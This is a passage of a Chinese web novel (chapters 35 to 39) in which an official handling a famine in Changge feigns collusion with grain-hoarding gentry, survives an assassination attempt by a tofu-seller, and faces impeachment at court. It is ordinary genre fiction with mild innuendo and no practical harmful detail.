季褚抚掌而笑,“诸公高义,散尽家资,倒是我的不是了。” 吕老须眉微动,“不敢,老朽等人既为乡绅,当以大局为重,如今上官来了,吾等也终于有了主心骨,再也不用担心流离者无其食,垂毙者不得生。 实乃长葛之幸,吾等之幸。 只要大人一声令下,我们五家必当竭尽全力。” 这也是路上几个老头一起商量好的。 太子虽然势微,但终究占据着大义,选任意一家当鸡杀,都抵抗不了。 所以能哄就哄,起码面上得过得去,不能让人抓住把柄直接发难。 季褚听了很是满意。 可高士奇吹胡子瞪眼,就差破口大骂一群畜生。 整个长葛,谁人不知吕府流水席? 还散尽家资,日鬼弄棒槌也没这样弄的,偏偏,上官还信了。 无耻之尤。 蛇鼠一窝。 沆瀣一气。 诸如此类骂人的话,在他心里全部过了一遍。 “天灾无情人有情,蒙此大难,诸公还有这般悲天悯人之心,皆为好人啊!”季褚呵呵笑道:“不过,本官奉命前来,要是不做出一点成绩,恐怕难以向太子殿下交差!” 几个老头窃窃私语一番,吕老才道:“大人所言甚是,吾等愿意缩减府内口粮,各家各出五十石,共计二百五十石以供大人赈灾,再多,恐恕老朽等人无能为力。” 季褚面皮一抽,二百五? 这帮老狗骂谁呢? 当即收敛了笑容,也不搭话,只是轻轻敲打桌面。 众人还以为给少了,心中尽皆不愉。 毕竟,以如今的市价,再等等,用不了多久,把这些粮食换成钱,起码得有上千两。 问题是现在有钱也买不到粮食。 可再多,那岂不是自己打了自己的脸? 这时,季褚说道:“闲杂人等全部出去。” 闻言,竹儿立刻走到门口做请,气的高士奇又是一阵吹胡子瞪眼。 几个老头面面相觑,属实不知道季褚葫芦里到底卖的什么药。 “诸位,如今没了外人,本官明人不说暗话,此次前来,只为求财。” 大家都是老人精,岂能被季褚三言两语唬住。 尤其是郑家主,立马愤愤说道:“如今灾民饥不果腹,大人此举,难道就不怕遭天谴吗?” “天谴?”季褚冷笑连连,“老东西,信不信老子现在就让人宰了你。” “你你你……” “你什么你,告诉你,本官来了,青天就来了,从现在起,本官便是这长葛的天。” 第35章 贪婪家主接下泼天富贵,熊熊郡主深夜放毒 吕老浑浊的眸子闪了闪,一时间也有点拿捏不准,毕竟,哪有一上来就亮底牌的。 “大人息怒。”吕老道:“吾等虽然散尽家财,但东拼西凑,凑个几千两还是没问题的,可再多,就真的没有了。” “一群蠢货,一大把年纪全都活到狗肚子里去了。”季褚不满道:“本官说的不够明白,可本官让人张贴的告示不会作假。 你们各家哪一家不是深耕百年的大族,当真一点存粮没有,活该你们发不了财。” “啊?” 众老头闻言,下巴壳子差点没掉地上。 显然是季褚的直接,令他们一时半会儿接受不了。 尤其是吕老,没捋掉的胡须,一下子拽掉了好几根。 现在的年轻官员,都这么直接的吗? 亏得他们之前怀疑这,怀疑那。又是担心太子派人过来会直接亮刀杀鸡儆猴,又是担心季褚拿话诈他们。 你只图财,你早点说啊! 擦,吓我们老头子一跳。 “我有权,你们有粮,咱们何不合作一把,把价格再翻数倍?多了我不取,我只要三成。”季褚伸出三根手指,“愿意的留下,不愿意的可以出去了。” “愿意愿意,表兄,还等什么。” “你闭嘴!”吕老瞪了一眼张家家主,“大人,你难道不怕太子怪罪?” “如今的局势我看的清清楚楚,三皇子才是未来之主。 更何况,背负骂名的人是太子,想必有了这个投名状,转投三皇子也会顺顺当当。” 季褚不耐烦道:“还是那句话,同意的留下,不同意的走,本官眼里只有钱,有了钱进献给三皇子,他肯定会封我当大官。” 这一刻的季褚,满眼都是贪婪,以及对光明未来的畅享。 哪怕老头子们再精明,也不得不信,他们确实遇上了一个棒槌。 锅太子背。 好处他们拿。 人情还卖给了三皇子。 天底下哪里还有这等好事。 打着灯笼都难找好吗? 如此泼天富贵都接不住,他们都对不起列祖列宗攒下的这份家业。 “大人,事关重大,还请容我等商量一二。”吕老道。 “去吧,尽快。” 几个老头告辞向外走去。 来到无人角落。 “吕老,怎么看?” “稀奇,当真稀奇。老朽活了一辈子,见过贪的,没见过这等贪的。” “他莫非是有别的什么心思?” “管他有什么心思,我等图的不就是财么,眼下绝对是个千载难逢的好机会,我等可不能犯糊涂。” “可他要三成,是不是太多了?” “他怎知我等到底存了多少粮食。”郑家柱眼睛闪烁着贪婪,“到底给多少,还不是吾等说了算。” “十倍价格,会有人买吗?你说他是不是想故意搞乱城中秩序,好乱中取利?” “不想死饿死,砸锅卖铁也会买,想死的那就饿死好了。”吕老冷笑,仿佛看穿了一切,“至于是否还有别的心思,我看不然。 一稚子耳,何来城府?不过侥幸得志罢了。 此等破天富贵,实乃祖宗荫庇,机不可失,时不再来,当断则断,莫负天恩啊!” “走?” “走!” 不多时,几人再次找到季褚。 没人知道聊了什么,几大家主离开府衙,立刻各自散去安排人手疯狂扫荡市面上的余粮。 …… 房间内。 三人大眼瞪小眼。 “你俩怎么了,为何用这种眼神看我?” “说好的宴席呢?”竹儿有些埋怨的摸了摸咕咕叫的肚子。 公主贴身丫鬟寻常吃的自然精细,府衙准备的饭菜实乃下咽,听说稍后有宴席,她还等着吃席呢,结果白等了。 “对啊,这帮老小子为何不请客?”季褚回过味来,也有些不太满意,“这是看不起本官?” 韩江雪习武之人,倒是没那么多讲究,属她吃的最饱。 没好气的翻了个白眼,而后一屁股坐到了榻上,“忙了一天,本官也有些乏了,竹儿去打水,季大人过来为本官沐足。” “韩大人三思,千万别脱……” 季褚心里咯噔一下,可此刻已经为时晚矣。 回过头,韩江雪已经脱下鞋子,解开了缠脚带。 一股酸腐气息,瞬间在房间内弥漫开来,堪比生化放毒。 大夏天的连续两日赶路,拼杀,韩江雪一直都是甲不离身,那味道,可想而知。 熏得竹儿肚子都不饿了,立马掉头就跑。 季褚也是辣的眼疼,以后要是谁在和他说,穿越者遇到的异性都是香香的小仙女,他非得拔剑砍了对方不可。 “韩大人,你我都是同僚,我再帮你洗脚不合适吧?”季褚退到门口。 “叫我郡主。”韩江雪赏他一计死鱼眼,毫不廉耻的说:“现在是本郡主命令你。” 说着,更是摸了摸放在一旁的宝剑,“公主的鞋底不伤人,本郡主的宝剑可是锋利的很,季大人要不要试一下?” 季褚的脸腾的一下,渐渐红温。 被公主拴在柴房打屁股,绝对是他这辈子最大的耻辱。 可又不得不迫使在韩江雪的淫威之下。 再说了,自己还需要人家保护,不就是洗个脚么……小命都没了,他想洗也洗不成了啊! 这样一想,心里顿时舒服了不少,“不必,大可不必如此。 郡主稍待,保证给你伺候的舒舒服服。” “这还差不多。” “……” “季大人,你莫不是嫌弃本郡主脚臭?” “没有,怎么可能,郡主的脚可香了……” “那你为本宫的脚作一首诗吧!” 季褚面皮一抽,尼玛,这不是难为人嘛? 你丫脚有多臭,你丫会不自知? “季大人欲行奸佞之事,恐怕会有很多人想杀了你这样的狗官为民除害,万一到时候本郡主一时疏忽……” “墙角数枝梅,凌寒独自开。遥知不是雪,为有暗香来。” 韩江雪愣了愣,她就是故意刁难一下季褚,万万没想到季褚还真做得出来。 而且这首诗不仅契合了自己的名字,更是用暗香来形容自己脚上的味道。 简直……简直……绝了啊! 韩江雪噗嗤一下笑出了声,带动着熊熊跟着剧烈颤抖起来,“季褚,难怪表姐说你是个妙人,果然如此。 这首诗可有名字?不如就叫咏脚可好?” “咳咳……”季褚一口老血差点没喷她脚上。 咏脚? 这要是让陆游知道,只怕得拎着骨头架子跑来找他索命。 “还是叫咏梅吧,郡主也不想以后世人皆知,咱大梁朝有一位脚臭的临安郡主吧!” “这倒也是……嗯?你不是说本郡主的脚是香的吗?” “暗香,暗香也是香。” “这还差不多。” 第36章 随吾联名,请旨斩奸佞 第二日,城中百姓苦等粮店开门,却发现,挂牌价达到了惊人的五百四十文一斗。 “小哥,是不是写错了,昨日才二百七十文,今日怎得高出这么多?” “昨晚的告示没看吗?钦差大人下令,停止一切官粜,再不买,明日更贵。”粮店活计放好门板,不耐烦的吼道:“买粮的都排好队啊,数量有限。” “这是不给吾等活路啊!” “此等狗官,怎得不降道天雷将他劈死……” 诸如此景,发生在城中各大粮店门口。 高士奇一早便派人盯着街面上的动静,收到消息,哪里还坐得住,顿时火爆三丈,前往季褚下榻之处。 这才刚刚开始,马上撤销政令还有缓和的余地。 万一真有人借机鼓动百姓,届时全城百姓一人一口唾沫也能将他们淹死。 季褚死不足惜,可他的一世清名不能毁于一旦。 等了得有半炷香的时间,他才见到了刚刚洗漱完毕的季褚。 “如果是来劝本官的,那就回去吧!我意已决,遵命行事。” 季褚孤注一掷,气的高士奇浑身颤抖,同时心里又生出了一股莫名的悲凉。 江山未来,竟然偏信如此奸佞小人,还对其委以重任,可见是何等昏聩。 这哪里是寒了众官员的心,这分明是要寒了全天下黎民百姓的心啊! 天降大灾,不想着如何赈济百姓,反而想着如何与民刮利,难道他真的就不怕百姓反了? 简直不知所谓。 高士奇极力压制心中的怒火,为了城中百姓,更是为了自己一世清明。 当即一撩袍服跪在了地上,“大人,昨日榜文一出,今日粮价便已翻倍,足足高达五百四十文。 如今城中怨声载道,怕用不到两日就会有人借此生事,一旦乱起来,整个长葛必定成为人间炼狱。 下官为官二十载,自问兢兢业业,无愧百姓,无愧朝廷。 今日斗胆以死相柬,还请大人收回成命,给城中百姓一条活路。” 季褚冷冷的看着对方,心里却是很不落忍。 他听说过舍生取义,杀生成仁,用自己的死来为民请命的清官,但还从来没见过。 以前他不懂历史书上描写的那种境界,以为都是扯淡,甚至还会暗戳戳的用那种阴谋论去想。 毕竟,古往今来,史书都是胜利者写的,自然需要美化。 同样的道理,祖上出过大官的,后代肯定也会变着花样给自己脸上贴金。 直到今天他才发现,自己的想法是多么浅薄。 等回去以后,必须得给这老小子美言几句,狠狠提拔! 不过那都是后话,眼下要想尽快平抑粮价,还得先苦一苦对方。 身在公主府,连自己和怜香床上说的悄悄话,都能传到公主耳朵里,天知道,这偌大的县衙藏着多少双耳朵。 事情没有尘埃落定之前,他必须一意孤行。 可这老小子一来就以死相柬,直接就给他架住了,总不能让人真的给他砍了吧?而且还需要他稳定局面,也不能把他关起来。 季褚皱眉,准备稍微点一下对方,想了想走到书案前,研墨提笔,随即写下了八个大字。 原主以前是虞府私塾先生,一手字还是很拿得出手的。 “好钢易折,物极必反。”季褚吹干墨迹,满意的点点头,随即拿到了高士奇面前,“回去好生参悟,十日后再来告知,你悟到了什么。 来人,送高大人出去。” 韩江雪走进房间,“高大人请吧!” 高士奇随手接过,哪有心思看上面写的什么,自知无法劝说,只能愤懑起身,“十日,如果大人依旧我行我素,怕用不了十日,满城百姓一人一口唾沫也能将吾等淹死。” 季褚目光一凌,“叉出去。” “季褚,你鱼肉百姓,早晚自食恶果!”高士奇也是豁出去了,被人架着,一边蹬腿,一边大喊大叫。 “有辱斯文,简直就是有辱斯文。”季褚端起凉茶狠狠嘬了一口。 清官确实是清官,但这脑子……简直一言难尽。 他兴师动众大老远来一趟,一来便下了一道令人匪夷所思的命令。 五大家族,那是被利益冲昏了头脑,有脑子也都是想着怎么多挣钱。 高士奇身为县令,但凡动动脑子,也早该觉察到了不对劲。 就这点政治嗅觉,也难怪干了二十年,还是个七品小县令。 这时,竹儿走了进来,扫了一眼被人架住的高士奇便开口道:“大人,马车已经备好。” “那就走吧,过些日子迎亲车驾进京将会路过长葛,我们先去踩踩点,正好过几日发动一些难民好好装扮一番,大喜的日子,可不能惹得太子妃不高兴。” 闻言,正在挣扎的高士奇瞬间僵愣。 紧接着,一股难以平复的怒火,自胸腔中爆燃开来。 “狗官,佞臣! 无耻小人。 长葛的百姓已经够苦了,你却为了粉饰太平,舔你主子,竟还要再给长葛百姓身上加一份重担,季褚,你难道就不怕遗臭万年吗?” “叉走叉走。”季褚不耐烦的摆摆手。 狗官狗官的叫骂,一直到声音消失不见,可见此刻的高士奇对季褚到底有多憎恶。 竹儿有些不解,“大人,您又何必这般自污?” “但行好事,莫问前程,走吧,我带你出去转转。” “啊,真的出府啊?如今您已恶名昭著,万一有胆大之人行刺怎么办?” “有韩大人在慌什么!” 昨晚的脚可不是白洗的,韩江雪怎么不得卖卖力气。 而且他安排竹儿卡着点进来把消息泄露出去,自有自己一番谋划。 今日这府,他出定了。 造灾的可不是长葛一城,而是整个颍昌府。只不过长杜,长葛两县最为严重。 要么不干,要干就尽善尽美。 这样他才能硬气的指挥李清瑶兑现承诺。 单独把粮价恢复到正常水准那还叫本事吗? 大乱后的大治,才是他准备的完美答卷。 乱后为何难治,为何好多地方的民生恢复,需要数年,或者数十年的休养生息? 因为百姓没工作,没进项。 解决了这一点,恢复民生自然轻而易举。 那边,回到值房的高士奇愤怒的摔了茶盏。 此刻的他双眼猩红,就好似一头要嗜人的饿虎,“竖子,不足与谋。” 他深吸口气,快步来的案前,拿起一份空白奏章,用力咬破手指,“本官与此獠势不两立。” 刷刷刷…… 一本字字珠玑,满含血泪的奏章很快书写完成。 高士奇高举奏章,“本官要百里加急,请旨斩了此等祸国殃民的奸佞之徒,愿意随我联名的,都过来签名按手印。” 而这边,季褚带着竹儿,韩江雪,乔装打扮了一番,轻装简行出了府衙。 殊不知,就在不远处的墙角,一道人影正死死望着他们。 韩江雪习武之人敏锐异常,下意识回眸看去。 季褚察觉到了她异常,也好奇的看了过去,“怎么了?” “无事,走吧!” “哦!”季褚多了那个方向两眼,低声道:“韩大人,本官的性命还需你来守护,切勿疏忽大意。” “聒噪!” 季褚呵呵一笑,一行人很快离开。 而巷口另外一边,一个女人敛去一身杀气,迅速汇入人群。 只是那胸前衣服剧烈的起伏,大有随时撑爆的可能,引来不少路人侧目。 “赵娘子,我还正寻你呢,你不开店,怎得跑这边来了?” 女人脚下一顿,一回头立马露出一副温婉贤淑的微笑,“王婶子啊,我们那条街豆价太高,我寻思找找有没有便宜的豆子卖。” “哎,城里来了个狗官,哪还有便宜粮食,以后这日子怕是越来越难过了。” “既是狗官,肯定长不了命。放心好了,有咱高县令,相信很快便能拨乱反正。” “哎,但愿吧,我先不和你说了,家里那口子还等着呢!”王婶子又是一声长叹。 “您自便!” 目送王婶子离开,赵娘子下意识紧了紧拳头,“狗官,今晚便取你了狗命。” 第37章 屋顶掉下个大熊妹 城中闹市一个很不起眼的地方,便挂起了写着赵氏豆腐的幌子。 旁边几个店铺二楼突然齐齐探出好几个脑袋,大家对视一眼,又都心照不宣的缩了回去。 不多时,一个个面色红润,身着体面的男人便争先恐后排到了摊子前面。 有几个拄着拐颤颤巍巍的老头,暗骂一句欺负老头腿脚不好,也加快脚步,站到了队伍后面。 最前面的老头微微侧身,结果后背立马挨了一下。 “老吴头,你打我作甚?” “你挡着我了。”老吴头往外靠了靠,一双老眼闪烁着不正经的光,一眨不眨的盯着切豆腐的赵娘子,“我这一天不吃赵娘子的豆腐,浑身都不得劲。你说她这豆腐咋做的呀,咋就那么白,那么软呢!” 前面老头顿时露出鄙夷之色,“你是馋人家豆腐吗,我看你是馋人家身子。” 老头子们还比较矜持,年轻人就直接多了。 最前面那人接过豆腐,付完钱,嘿嘿笑道:“赵娘子,今的怎么这么晚?” “莫不是昨日孤枕难眠,寻了一情郎,今日才起得晚了?” “马掌柜,闭上你的臭嘴,赵娘子守身如玉,怎容你这般污人清白?” “吕老板,你装什么大头蒜。”马掌柜一屁股噘开吕老板,凑到了前面,“赵娘子,先前我和你商量的事情,你考虑的怎么样了?” 赵娘子刷刷两刀,托起两块颤颤巍巍的大豆腐递给了对方,微微一笑自带娇媚风情,“诚惠,二十文。” “起开吧你,我也要两块。赵娘子,见你每日抛头露面,我实在是于心不忍,我不嫌弃你是寡妇,你也不要嫌弃我是鳏夫,咱俩凑一对儿可好?” “呸,不要脸。” “就是,你也不撒泡尿照照自己什么德行。” …… 季褚一行路过,正好远远瞧见排期长队的豆腐摊。 “可怜啊,长葛的百姓如今只能以豆腐充饥。”韩江雪叹了口气。 季褚看了看卖豆腐的女子,又偷偷瞄了一眼被束起来的大熊,到嘴边上的话硬生生咽了回去。 “城中也有几家豆腐摊,可一路走来,却无一家这般火爆,莫不是这家卖的豆腐有甚名堂?”竹儿一边说,一边不着痕迹的咽了咽口水。 显然,这趟差事,苦了这位享惯福的大丫鬟,看到啥都觉得应该很好吃。 “能有什么名堂,你没发现么,排队的都是男子,这哪里是想吃豆腐,这分明就是想吃人。” “吃人?公子,什么意思?”竹儿脚步匆匆追向了季褚。 赵娘子也早就发现了他们,目送对方远去,暗道一声可惜。 正好她也受够了长葛城里这群狗男人,准备换个地方生活。 如果他们也来买豆腐,刚好可以下毒,也省的晚上冒险。 …… 季褚围着城内城外转了一圈,一天下来累的浑身疲惫,直到傍晚才回到内衙休息。 简单的整理了一下今日所见所闻,竹儿也烧好了浴汤。 红着脸轻声道:“大人,奴婢伺候你沐浴吧!” “不用了,你也累了一天早点去休息吧。”季褚垂案构思,随口回了一句。 今天出门这身行头穿戴起来十分方便,压根不用人伺候。 “哦,那奴婢告退了,有事你在叫我。” “去吧!” 吱钮一声,很快房间便再次关闭。 季褚写写画画,完全没注意到,房顶瓦片悄无声息的出现了一道裂缝,一双漆黑的眸子,正一眨不眨的盯着下面。 “呼,总算大功告成。”季褚拿起纸张吹干墨迹,而后用镇纸压上。 伸了伸懒腰,来到浴桶旁利索脱掉衣服,泡了进去,“呼,爽,可惜香儿不在,不然来他个鸳鸯戏水,岂不美哉?” 听着他的自言自语,趴在房顶上的赵娘子心里狠狠淬了一口。 好一个荒唐会享受的狗官。 死到临头了,竟然还想着鸳鸯戏水,那你就一个人慢慢戏吧! 她缓缓摸向别在后腰的吹针,就在这时,只觉一阵劲风袭来。 赵娘子仓促躲闪一滚,一把锋利的宝剑贴擦着鼻尖横扫而来。 韩江雪愣了一下,显然没想到对方功夫这么好。 当即手腕一抖,耍了个剑花,再次朝着对方刺去。 赵娘子心头大骇,高手一出手,就知有没有。 她同样没想到季褚身边还有高手。 硬拼的话,短时间不见得拿下对方,何况府衙重地,万一惊动其他人,别说杀掉季褚,恐怕今日连自己都得栽在这里。 她虚晃一招,而后猛的一扬手臂。 韩江雪大惊,还以为对方有暗器,立马收剑格挡。 下一秒,一团白雾升腾,瞬间将她笼罩。 暗器确实是暗器,但却是江湖上惯用的迷烟,等她用剑挥散迷烟,人早就逃得没影了。 “可恶!” 韩江雪紧握剑柄,愤怒异常,这些年大风大浪过来,还真没几个刺客能全须全尾的从她手中逃脱。 不过看着远处飞速略过的人影,她倒是也不怕对方逃了。 只是她刚想跃下屋顶,身子突然一重,而后直挺挺的踩碎了瓦片。 扑通一声。 韩江雪很是丝滑的掉进了下方的浴桶。 溅起来的水花顿时泼了季褚一身。 屋顶的交手其实也就片刻而已,这会儿季褚也不过刚从浴桶里爬出来,正准备穿衣服,结果韩江雪就掉下来了,吓得他一颗心瞬间提到了嗓子眼。 她都败了,那自己岂不是也要完蛋了? 韩江雪张嘴吐出一道水柱,顺便抹了把脸。结果一睁眼,就看到季褚光着身子,站在浴桶旁盯着自己发呆。 一时间,她也愣住了,目光不自觉的下移,顷刻间便红了脸,赶忙把头扭到一旁,“背过身去,再敢拿那害人的玩意对着我,我立马给你割下来!” 季褚低头一看,赶忙一手遮住,一手扯下衣架上的衣服穿上。 “你,怎么回事,怎么掉下来了?” “出去!” “你没受伤吧?” “没有,快点出去,让竹儿进来。” 这边正说着,听到动静的竹儿已经匆匆推门闯了进来,“大人?啊,有刺客!” “别叫,浴桶里是韩大人。”季褚赶忙提醒道。 竹儿小鸡啄米似的点点头,快步跑到浴桶旁,“郡主,您怎么了?” “我中了刺客的迷药,没想到药效这么强,我快扛不住了,今晚你守在这里。”韩江雪有气无力,说话间,还不忘警告般瞪了季褚一眼。 什么都没说,又好似什么都说了。 可把季褚气坏了,“你泡一宿,还不泡突突皮啊!” “既然知道,那还不赶紧把我抱到床上去,简直一点眼力劲都没有。” “罢了,看在你是为了保护我的份上,我就勉为其难帮帮你吧!”季褚撇撇嘴,系好衣服走上前把人从水桶里捞了出来,“竹儿,今晚去你房间。” “好!” 把人放到竹儿的榻上,竹儿立马上前号脉。 季褚惊讶道:“你还会治病?” “奴婢自幼学医。” “厉害!”季褚心里直呼牛逼。果然,公主身边的人,就没一个简单的。 片刻后,竹儿长长松了口气,“只是一些迷药,并未有中毒迹象。” “能把人弄醒吗?” 竹儿摇了摇头,“我还是头一次遇上这样的迷药,等我配出解药,估计郡主也早就醒了。” “得,那你伺候着吧,给她换身衣服,我先出去了。” 说完,季褚便回房将自己写的那些东西收拾起来。 这时,高士奇也带着人匆匆赶了过来。 见到季褚完好无损,他是既高兴又失望。 季褚懒得追究他的责任,令他加强防备便把人打发走了。 出了这样的事儿,而且手下最能打的韩江雪已经陷入昏迷,他哪里还睡得着。 一直到亥时,几名暗卫捆缚着刺客回来,季褚才长长松了口气。 只是看清对方的样子,属实给季褚吓了一跳,“怎么是你?” “呸,丧尽天良,草菅人命的狗官,要杀便杀,我就是做鬼也不会放过你。”赵娘子破口大骂。 第38章 季褚夜审刺客,八百里加急呈达庙堂 这一刻,她已经生存死志。 怪也只怪自己没有调查清楚便贸然动手,她以为有一个韩江雪那样的高手就不错了,没想到,就跟捅了马蜂窝一样。 三两个人,她游刃有余,二三十号,她只能束手就擒。 而且她对自己的容貌相当自信,被抓之前,就已经在身体里塞了要命的东西。 反正逃也逃不掉,不如拼最后一次。 她就不信对方抓住自己不好好凌辱一番。 只要狗官敢碰自己,那便是他的死期。 然而,还没等季褚开口,压着她的暗卫,一脚踹向她的后背。 赵娘子头重脚轻,砰的一下摔在了季褚面前。 季褚面皮一抽,没好气的看了那名暗卫一眼,“你们先下去吧,保护好韩大人,本官要好好审审他。” “大人,此人武功了得,我们二十多人才将其捉住,为了防止意外,不如先挑断手筋脚筋再审。” “无妨,我看这绳子挺结实。”季褚摆了摆手,“诸位辛苦了,回头自然有赏。” “喏!” 两名暗卫躬身退出了房间。 赵娘子心头一喜,这狗官果然见色起意,好像乃子也没那么疼了。 当即一翻身,露出一副惊恐模样,“你想对我做什么,你,你不要过来……” 她一边说,还不忘一边欢动那紧束的惹眼之物,尤其是那喊出来的语调,虽然略显生涩,但和怜香从青楼学的那种勾搭人的调调如出一辙。 看的季褚整个人都懵逼了。 这又是啥套路? 刚才嘴不是挺硬的吗? “呜呜呜,你直接杀了我吧,切勿毁我清白。” 季褚:??? 见他始终坐在那里无动于衷,赵娘子心里急的不行,一咬牙,一闭眼,“狗官,来吧,你不就是想要了我的身子嘛,我可以伺候你,但请你收回命令,放过城中受灾的百姓。” 等了半晌,赵娘子悄咪的打开一道隙,偷偷看了季褚一眼。 这狗官,想什么呢? 那么漂亮一美人啊! 我都这样了,你倒是给点反应啊! 怕不是个银样镴枪头吧? 可他洗澡的时候,明明很吓人啊…… 莫非此香非彼香?他想与之鸳鸯浴的香儿是个男人? 他好男风? 好男风这种奇怪嗜好,在权贵圈子里可不是什么新鲜事。 甚至还有专门圈养男童,以供贵人取乐的地方。 她之前就端掉了一个这样的地方,这才逃到长葛落脚。 思及此,赵娘子心头一跳,若真这般,那她岂不是失算了? “只要你收回先前下达的命令,我愿意在你身边做牛做马,尽心服侍!” “说完了?” “啊?说完了。” “虽然你确实有几分姿色,但本官对你没兴趣!” 赵娘子心里咯噔一下,失算了。 他,果然号男风! 季褚笑着站起身,走到对方身边,“若想活命,你大可不必如此。” 一个愿意拯救灾民,刺杀狗官的刺客,还是能让韩江雪那样高手吃瘪,出动十几名暗卫捉住的美女刺客。 季褚怎么舍得杀。 不仅不舍得杀,甚至还动了彻底收服的念想。 “你愿意放了我?”赵娘子收了那副狐媚相,反倒是好奇起来。 季褚围着对方转了一圈,也不得不感慨,真不是一般的大。 莫非这个位面,武力值与大小有关? 韩江雪如此,她亦如此。 而且这捆绑手法,也大有讲究。 黑衣,贴身,将她那两块点缀着红玫的嫩豆腐完美分割,完全不影响当正常颤抖。 这要是上架某些网站,高低也得是个首页会员付费内容。 看的季褚都有点抖音了。 见他一直打量自己,也不说放也不说不放,赵娘子莫名有些心慌,下意识蜷缩着腿往旁边挪了挪,“你,你到底什么意思?” “你觉得本官是坏人吗?”季褚蹲下身,趁此欣赏起了这张漂亮的脸蛋。 和韩江雪那张卡哇伊的稚幼脸不同,她的美充满了成熟的欲望,尤其是眉宇间隐藏的那种倔强,更能激发男人的征服欲。 而她的这种美,也恰恰是对付男人的致命武器。 这要是收服对方,以后出差,左萝莉,右御姐,遇上敌人高呼一声大熊上。 那场面,想想都觉得刺激。 赵娘子被他看的浑身鸡皮疙瘩都起来了,“你,你何必明知故问!” 季褚站起身,长长叹了口气,一字一顿道:“世人谤你、欺你、辱你、笑你、轻你、贱你、恶你、骗你,如何处之?” “杀了他?” 季褚居高临下的看了她一眼,笑着摇了摇头,“我会忍他、让他、避他、由他、耐他、敬他、不要理他、再过几年,我再看他。 所以姑娘,有时看到听到的都未必是真的。 你能为一城百姓舍身取义,我很佩服你。 可你却不知道,今日你若得手,对满城百姓而言,才是灾难。” 赵娘子呆呆的看着季褚,显然被季褚这番富有哲理的话给说懵了。 她不由自主的咽了口唾沫,好像有被洗脑到。 “其实我与姑娘是一路人,稍后我会让人放了你,还请姑娘等上十日,十日之后,若姑娘还想取了在下性命,我绝不反抗,如何?” “当真?” “君子一言驷马难追。” 虽然不清楚季褚打的什么鬼主意,但只要逃出去,主动权就回到了自己手中。 这次只是意外,下次她有的是办法杀掉季褚。 想明白这一点,赵娘子立马点头,“好,这可是你说的。” 季褚点点头,然后叫来暗卫,将人带出去放走。 “大人,当真放了这个贼婆娘?” “你才是贼婆娘。” “住口,此等义士,岂容尔等置喙。” 二人几乎齐齐开口,听的暗卫一阵愤懑。 “对了,你可有解除昏迷的药?” “只需睡够四个时辰,自然会醒。” 季褚点点头,而后摆了下手,“去吧,回头我自会和韩大人解释清楚。” “喏!” 把人送走,季褚使劲锤了一下巴掌,想想刚才自己说的那番话,这逼简直给他装满了啊! 就是不知道,十日之后,对方会不会甘心来投。 不过这都不重要了,来投便是缘分,不来,那也没法,反正他想培养的是忠心自己,志同道合的手下。 不能完全效忠的人,不要也罢! …… 翌日。 大朝会。 盛夏的暑气透过厚重的宫墙,蒸的人心里发闷。 虽然早有宦官将冰,置于殿角四隅,可那丝丝凉气,却驱散不掉弥漫在明德殿里的焦灼。 而这焦灼的源头,正是昨晚入宫的长葛八百里急报。 李清瑶头戴九翚四凤赤金冠,身披玄色织金云龙纹大袖衫,刚刚踏入明德殿,便引来百官一阵窃窃私语,其中不乏一道道幸灾乐祸的目光射到身上。 对此,她面上毫无波澜。 可内心,却隐隐有些担忧。 第39章 朝堂上,诸子争 李清瑶挺胸抬头,来到皇子皇女所在的位置,当仁不让的站在了最前方。 “见过皇姐。” 几个成年皇子皇女立刻行礼。 “免礼!”李清瑶颔首露出一抹微笑,而后看向上方的龙椅。 “皇姐好手段啊,臣弟佩服!”三皇子李智阴阳怪气道。 二公主李清池戏谑娇笑,“那是,可惜皇姐是个女儿身,无法继承皇位,不然三弟也不用争了。” “哦,二姐这是何意?” “皇姐若是男子,占嫡占长必然会被封为太子啊。如今上缴千万两,龙颜大悦,我等自愧不如。 父皇高兴了,地位自然稳如泰山!” “二妹此言差异,没有识人之明,即便坐到那个位置上,也坐不稳。”二皇子李义虚眯着双眼,死死盯着上面的龙椅。 三皇子李智冷笑一声,“二哥,莫非是说皇姐没有识人之明?” “我可没说。” 四皇子李信戏谑一笑,“还不就是那个意思!” 二皇子冷哼一声,懒得搭理老四,“随你怎么说好了。” 见老四还要开口,三皇子立马打圆场道:“好了,都是自家兄弟,何必伤了和气。” “三哥教训的是!”老四李信拱了拱手,阴阳怪气道:“哎,只可惜咱们那位六弟就是个长不大的孩子,只有把饭喂到嘴边才会张口,结果还噎着了。” 李智嘴角微勾,“四弟慎言,老六即将大婚,怎可说他还是孩子,万一传到靖北侯耳朵里,违抗圣旨悔婚,岂不是让父皇难做。” “三哥此言有理,倒是臣弟的错了。”四子李信笑嘻嘻的拱了拱手。 李智唉了一声,“四弟倒是提醒了我,老六年龄小,像是男女之事肯定不懂,咱们这些当哥哥抽空可得好好教教六弟,也省的入了洞房,面对太子妃不知所措。” “皇姐连大婚之事都一力承担了,哪里用得到我等,说不定皇姐就教了。” “皇姐怕是也不懂吧,我可听说驸马爷夜夜守着空房呢!”二皇子这时也跟着小声附和。 当今梁皇有八子,四女。 分别是,八子:仁义智信,泰康安平。 四女:瑶池溪玥。 儿多女多债也多,何况生在天家,每个人都有八百个心眼子。 现在除了长子李仁早夭,李安,李平,李清玥尚未成年参政,如今的成年皇子皇女,分成了三派。 三皇子李智,实力最为雄厚,再就是二子李义同样不容小觑,唯有太子李康势单力薄,朝中支持者寥寥无几,兄弟姐妹中也唯有李清瑶一人,可他毕竟占据着大义。 他不下去,其他人再怎么争也是无用功。 所以但凡有机会,俩人都不介意摒弃前嫌,合起伙来踩李康一脚。 二人你一句我一句,纯粹就是故意恶心人了,太子大婚,自有宫中女官教授,轮也轮不到他们传授经验。 可李清瑶宛如老僧入定,就好似没听到一样。 见话都说到这份上,李清瑶都不对线,李义李智对视一眼,也是一阵无味。 这时,有宦官喊太子到,不多时李康便坐到了龙椅下首。 “吾等参见太子。” “诸卿免礼!” 这时,一道尖锐且嘹亮的声音传遍了整个大殿,“陛下到!” “吾皇万岁万岁万万岁。” 群臣山呼中,年仅四十却已显老迈的梁皇坐到了龙椅上面,“诸卿平身。” “谢陛下!” “有事启奏,无事退朝。” “启奏陛下,长葛八百里急奏,请圣旨,斩奸佞!” 督察院,左佥都御史左春出班奏对。 左春乃是先帝时期朝中重臣,正因心直口快,刚正不阿,光是在左佥都御史这个位置上便经历了三贬三录。 主打一个你们不敢管的事儿,我管。 你们不敢喷的人,我喷! 梁皇对他可谓是既爱既恨,眸光一凝看向了太子。 李康这几日都在宫里学习大婚礼仪,并不清楚发生了什么事儿,见左大人出班,也被吓了一跳。 见状,梁皇的面色顿时阴沉到了谷底,“呈上来!” 不多时,便有太监将奏折呈上。 